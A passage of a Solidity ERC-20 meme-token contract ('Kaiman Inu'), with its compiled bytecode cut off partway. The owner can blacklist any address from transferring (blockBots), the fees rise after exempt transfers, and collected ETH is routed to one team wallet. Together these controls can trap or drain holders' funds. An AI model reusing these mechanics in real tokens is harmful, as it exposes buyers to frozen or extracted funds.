return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KaimanInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kaiman Inu";
string private constant _symbol = "KM";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_teamAddress = payable(0xcB817fd0B801fD71110b71992b6BD17eBf550193);
_marketingFunds = payable(0xcB817fd0B801fD71110b71992b6BD17eBf550193);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
_maxTxAmount = _tTotal;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
cooldownEnabled = false;
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a67565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612f08565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a2b565b6105ad565b6040516101a09190612eed565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb91906130aa565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129dc565b6105dc565b6040516102089190612eed565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a919061311f565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612aa8565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e919061294e565b610cdc565b005b3480156102b157600080fd5b506102ba610dcc565b005b3480156102c857600080fd5b506102e360048036038101906102de919061294e565b610e3e565b6040516102f091906130aa565b60405180910390f35b34801561030557600080fd5b5061030e610e8f565b005b34801561031c57600080fd5b50610325610fe2565b6040516103329190612e1f565b60405180910390f35b34801561034757600080fd5b5061035061100b565b60405161035d9190612f08565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a2b565b611048565b60405161039a9190612eed565b60405180910390f35b3480156103af57600080fd5b506103b8611066565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612afa565b6110e0565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906129a0565b611244565b60405161041791906130aa565b60405180910390f35b6104286112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac9061300a565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610564906133c0565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f4b61696d616e20496e7500000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112cb565b84846112d3565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e984848461149e565b6106aa846105f56112cb565b6106a5856040518060600160405280602881526020016137e360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5d9092919063ffffffff16565b6112d3565b600190509392505050565b6106bd6112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107419061300a565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f4a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112d3565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190612977565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109429190612977565b6040518363ffffffff1660e01b815260040161095f929190612e3a565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b19190612977565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e3e565b600080610a45610fe2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e8c565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612b23565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e63565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612ad1565b5050565b60006009905090565b610c226112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca69061300a565b60405180910390fd5b80600f60176101000a81548160ff021916908315150217905550683635c9adc5dea0000060108190555050565b610ce46112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d689061300a565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e0d6112cb565b73ffffffffffffffffffffffffffffffffffffffff1614610e2d57600080fd5b6000479050610e3b81611cc1565b50565b6000610e88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dbc565b9050919050565b610e976112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b9061300a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4b4d000000000000000000000000000000000000000000000000000000000000815250905090565b600061105c6110556112cb565b848461149e565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110a76112cb565b73ffffffffffffffffffffffffffffffffffffffff16146110c757600080fd5b60006110d230610e3e565b90506110dd81611e2a565b50565b6110e86112cb565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c9061300a565b60405180910390fd5b600081116111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111af90612fca565b60405180910390fd5b6111e760646111d983683635c9adc5dea0000061212490919063ffffffff16565b61219f90919063ffffffff16565b6010819055506000600f60176101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161123991906130aa565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611343576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133a9061306a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113aa90612f8a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149191906130aa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115059061304a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157590612f2a565b60405180910390fd5b600081116115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b89061302a565b60405180910390fd5b6115c9610fe2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116375750611607610fe2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9a57600f60179054906101000a900460ff161561186a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116b957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117135750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561176d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561186957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b36112cb565b73ffffffffffffffffffffffffffffffffffffffff1614806118295750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118116112cb565b73ffffffffffffffffffffffffffffffffffffffff16145b611868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185f9061308a565b60405180910390fd5b5b5b60105481111561187957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561191d5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61192657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119d15750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a275750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a3f5750600f60179054906101000a900460ff165b15611ae05742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a8f57600080fd5b601442611a9c91906131e0565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aeb30610e3e565b9050600f60159054906101000a900460ff16158015611b585750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b705750600f60169054906101000a900460ff165b15611b9857611b7e81611e2a565b60004790506000811115611b9657611b9547611cc1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c4b57600090505b611c57848484846121e9565b50505050565b6000838311158290611ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9c9190612f08565b60405180910390fd5b5060008385611cb491906132c1565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d1160028461219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d3c573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8d60028461219f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db8573d6000803e3d6000fd5b5050565b6000600654821115611e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfa90612f6a565b60405180910390fd5b6000611e0d612216565b9050611e22818461219f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e88577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb65781602001602082028036833780820191505090505b5090503081600081518110611ef4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9657600080fd5b505afa158015611faa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fce9190612977565b81600181518110612008577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112d3565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d39594939291906130c5565b600060405180830381600087803b1580156120ed57600080fd5b505af1158015612101573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121375760009050612199565b600082846121459190613267565b90508284826121549190613236565b14612194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218b90612fea565b60405180910390fd5b809150505b92915050565b60006121e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612241565b905092915050565b806121f7576121f66122a4565b5b6122028484846122d5565b806122105761220f6124a0565b5b50505050565b60008060006122236124b2565b9150915061223a818361219f90919063ffffffff16565b9250505090565b60008083118290612288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227f9190612f08565b60405180910390fd5b50600083856122979190613236565b9050809150509392505050565b60006008541480156122b857506000600954145b156122c2576122d3565b600060088190555060006009819055505b565b6000806000806000806122e787612514565b95509550955095509550955061234586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242681612624565b61243084836126e1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248d91906130aa565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e8683635c9adc5dea0000060065461219f90919063ffffffff16565b82101561250757600654683635c9adc5dea00000935093505050612510565b81819350935050505b9091565b60008060008060008060008060006125318a60085460095461271b565b9250925092506000612541612216565b905060008060006125548e8787876127b1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c5d565b905092915050565b60008082846125d591906131e0565b90508381101561261a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261190612faa565b60405180910390fd5b8091505092915050565b600061262e612216565b90506000612645828461212490919063ffffffff16565b905061269981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f68260065461257c90919063ffffffff16565b600681905550612711816007546125c690919063ffffffff16565b6007819055505050565b6000806000806127476064612739888a61212490919063ffffffff16565b61219f90919063ffffffff16565b905060006127716064612763888b61212490919063ffffffff16565b61219f90919063ffffffff16565b9050600061279a8261278c858c61257c90919063ffffffff16565b61257c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127ca858961212490919063ffffffff16565b905060006127e1868961212490919063ffffffff16565b905060006127f8878961212490919063ffffffff16565b9050600061282182612813858761257c90919063ffffffff16565b61257c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284d6128488461315f565b61313a565b9050808382526020820190508285602086028201111561286c57600080fd5b60005b8581101561289c578161288288826128a6565b84526020840193506020830192505060018101905061286f565b5050509392505050565b6000813590506128b58161379d565b92915050565b6000815190506128ca8161379d565b92915050565b600082601f8301126128e157600080fd5b81356128f184826020860161283a565b91505092915050565b600081359050612909816137b4565b92915050565b60008151905061291e816137b4565b92915050565b600081359050612933816137cb565b92915050565b600081519050612948816137cb565b92915050565b60006020828403121561296057600080fd5b600061296e848285016128a6565b91505092915050565b60006020828403121561298957600080fd5b6000612997848285016128bb565b91505092915050565b600080604083850312156129b357600080fd5b60006129c1858286016128a6565b92505060206129d2858286016128a6565b9150509250929050565b6000806000606084860312156129f157600080fd5b60006129ff868287016128a6565b9350506020612a10868287016128a6565b9250506040612a2186828701612924565b9150509250925092565b60008060408385031215612a3e57600080fd5b6000612a4c858286016128